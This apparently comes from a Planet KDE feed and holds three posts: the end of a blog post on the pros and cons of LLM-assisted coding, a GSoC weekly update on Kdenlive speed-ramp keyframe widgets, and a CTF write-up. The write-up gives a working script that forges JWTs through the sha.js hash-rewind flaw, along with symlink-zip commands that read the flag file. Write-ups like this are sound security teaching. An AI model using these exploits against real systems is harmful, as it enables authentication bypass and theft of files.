What are the pros and cons, then?
Pros:
- Productivity goes through the roof - when you know what you want.
- You can discover new tools and technologies as you go along. I did not even know playwright existed before.
- No more getting stuck on things that you don't have time to learn to solve a very specific problem - just focus on what you want done and what you want to learn.
Cons:
- The environmental, ownership and control aspects of the LLM technology.
- The doom-promting style of development - you need to have big tasks, not sit and stare at a bouncing logo 30s, re-prompt and repeat. (I think this is what people mean when they differentiate agentic development from vibe coding).
- No more getting stuck on things that you don't have time to learn to solve a very specific problem - this limits you, as you don't grow as a developer by learning new things.
16 Aug 2026 12:28pm GMT
Week 11: Review Feedback, a Correction, and What's Deferred
This is a weekly update from my Google Summer of Code 2026 project with KDE, improving effect widgets in Kdenlive, a free and open source video editor.
Real usability feedback on MR !928
Julius and Bernd both tested the Speed Ramp changes and raised a genuine concern: the panel currently mixes two related but distinct ideas, time remapping (position based) and speed keyframing (rate based), without making clear which one the new curve and keyframe types actually represent.
Bernd sketched an alternative visualization plotting speed directly. Julius pointed out it would show something different from what the current curve shows, a real design question, not a quick fix.
Jean-Baptiste weighed in with a larger proposal: split the Time Remap effect into two distinct UI modes, one for Time Remap as it exists now, and a new, simpler Speed Ramp mode built around MLT's speed_map parameter instead of time_map, switchable via a toggle in the same widget.
Scoping what fits in the time left
That's a real architectural change, not something to rush into the last stretch of the program. Talked it through with Jean-Baptiste and split his suggestions into what's doable now versus what should wait:
Doable now:
- Expand the keyframe type list beyond the original curated four
- Move the Type selector into the toolbar, next to the existing keyframe buttons
Deferred, filed as issue #2231:
- The full Time Remap / Speed Ramp mode split
A correction along the way
While expanding the type list, tested what the old pre-selector behavior actually serialized as. It turned out to be linear, not discrete, correcting an assumption made earlier in the review thread. Discrete in MLT is a genuinely different shape: the source frame freezes, then jumps at the keyframe boundary, not a gradual ramp that just changes slope abruptly. Flagged the correction on the MR rather than letting it stand.
Also went back and measured which types actually cause the clip to briefly play in reverse on a time map (an overshoot artifact). Only Bounce and Elastic do it in practice, Exponential and Circular measured clean. Updated the MR description to reflect the real numbers instead of the broader guess from a couple weeks ago.
Shipped
- Type selector now offers all 13 interpolation types the rest of the effect stack already uses, instead of a curated 4
- Type selector relocated to the toolbar next to the keyframe buttons, freeing up space below the speed fields
- MR !928 description corrected and up to date with the code
- Both changes pushed, pipeline green
What's next
Heading into the final week of the program. Reviewing pending feedback across all three widgets, wrapping up documentation, and preparing the final work product submission.
16 Aug 2026 4:44am GMT
15 Aug 2026
Planet KDE | English
ZipSlip-Stream WriteUp | InCTF 2026 CTF Finals | First and Only Blood
Introduction
This challenge felt tough. Even though I was the only person who solved this challenge, it's also the case that this is the only challenge I was able to solve in 8 hours.
Since there were special protections against the use of AI and LLMs, it felt especially good after solving this challenge.
Okay, so let's start without further ado,
Source code
https://drive.google.com/file/d/1AFEC93XON668Gq5I8eoVTy1gRgTpvN58/view?usp=sharing
Understanding the application
We are given source code of a web application. We can build it locally using docker.

By reading through the source code and playing with the website, we can understand a couple of things:
-
There's functionality to log-in but no sign-up.
-
Only authenticated users (logged in) can upload files.
-
Since the flag is in the filesystem and there is no route in the application that interacts with the flag, we probably need RCE or some sort of LFI.
Subtask 1: Log-in somehow, anyhow!
It's pretty clear we need to be authenticated to do anything in this application. But there's no way for us to sign-up or register in the application and the admin's password is random and there's no way we can guess it.
So we need to dig deeper.
CVE CVE-2025-9288 | sha.js hash rewind
If you try to audit the package versions inside package.json, you'll quickly find that sha.js which uses 2.4.10 has a critical vulnerability.
You can read more about this vulnerability on it's github advisory: https://github.com/advisories/GHSA-95m3-7q98-8xr5
This CVE can be little bit tricky to understand if you are seeing anything like this for the first time, like me.
You should ideally play around with it and try to understand it yourself, but let me give you the gist of it.
We can pass specially crafted data to the library's update function which triggers something known as a hash rewind.
For example, this is how it's normally supposed to be:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
But if we do,
> require('sha.js')('sha256').update('foobar').update({ length: -3 }).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
Notice how we get the same hashes in both the examples even though the data entered is different? The CVE is that we can pass data of type Object like { length: -offset } and it will rewind the hash function's internal state back by offset times which may cause undefined behavior or hash collisions like in our case. We can even DOS the server by using this technique but it's not useful in our case.
Now, an even harder challenge is to figure out how you could use this to login to the application. I spent 2-3 hours at this step.
If we can travel to the past, let's also try to visit the future
This line is the reason for our whole suffering:
const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);
We don't know what secret is. So we can never make expectedSignatureHex to be equal to our own created JWT signature.
After a lot of thinking and trail-and-error, I figured out I could also bite off the signature part in my hash rewind.
> require('sha.js')('sha256').update('foo').update({ length: -5 }).update('xyz').digest('hex')
'594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06'
> require('sha.js')('sha256').update('z').digest('hex')
'594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06'
Note how I did the -5 in the 1st command and it skipped "xy" and we get the hash for "z" only. We traveled to the future.
We can use this trick to skip the entire secret except the last character. The last character can be one of the 16 hex characters.
const JWT_SECRET = crypto.randomBytes(9).toString('hex');
It will be 18 characters, 9 * 2 = 18.
Therefore, we can craft a brute-force attack with our hash rewind payload. We need to pass the hashes of all the 16 hex characters in the JWT signature and one of them will match and the authentication will be successful.
This is the JS script which will give you all the 16 possible JWT tokens:
const sha = require('sha.js');
const HEADER = { alg: 'HS256' };
const HEADER_json_str_len = JSON.stringify(HEADER).length;
const PAYLOAD = { length: -(HEADER_json_str_len + 18) + 1, exp: Math.floor(Date.now() / 1000) + 100000 };
const CHARSET = '0123456789abcdef';
function genSig(c) {
const hash = sha('sha256');
return hash.update(c).digest('hex');
}
for (let i=0; i < 16; i++) {
const c = CHARSET[i];
const sig = genSig(c);
const jwt = btoa(JSON.stringify(HEADER)) + "." + btoa(JSON.stringify(PAYLOAD)) + "." + sig;
console.log(jwt);
}
Then you can use Burp intruder and pass these tokens in the cookies (cookie name is keycode_signal) and you'll find one of them works.

Subtask 2: ZipSlip??
Now we can upload some files. Since the name of the challenge is "ZipSlip-Stream", you might try the simple ZipSlip but it won't work.
And it will be obvious why it won't work because the Dockerfile installs the latest version of unzip which is 99.99% NOT VULNERABLE to ZipSlip
RUN apt-get update \
&& apt-get install -y unzip \
&& rm -rf /var/lib/apt/lists/*
To be honest, I required a hint at this point by the challenge author.
So the answer is.....
Symlink LFI
You will realize we aren't just limited to uploading zip files. But uploading a web shell won't work since this is an express server.
So we can exfiltrate the flag using a symlink file. But the important part is to keep the symlink inside the zip file.
We know the exact location of the flag, it's in root.
So we do
ln -s ../../../../../../../../../../flag evil
zip -y evil.zip evil
Then we upload this zip file (make sure to keep the name as "zip" to bypass the regex) and BOOM! We can download the flag by visiting our uploaded file. (/uploads/<some_hex>/evil)
If you have any doubts, feel free to put them in the comment section of this blog :)
Thank you,
Ojas
15 Aug 2026 7:25pm GMT


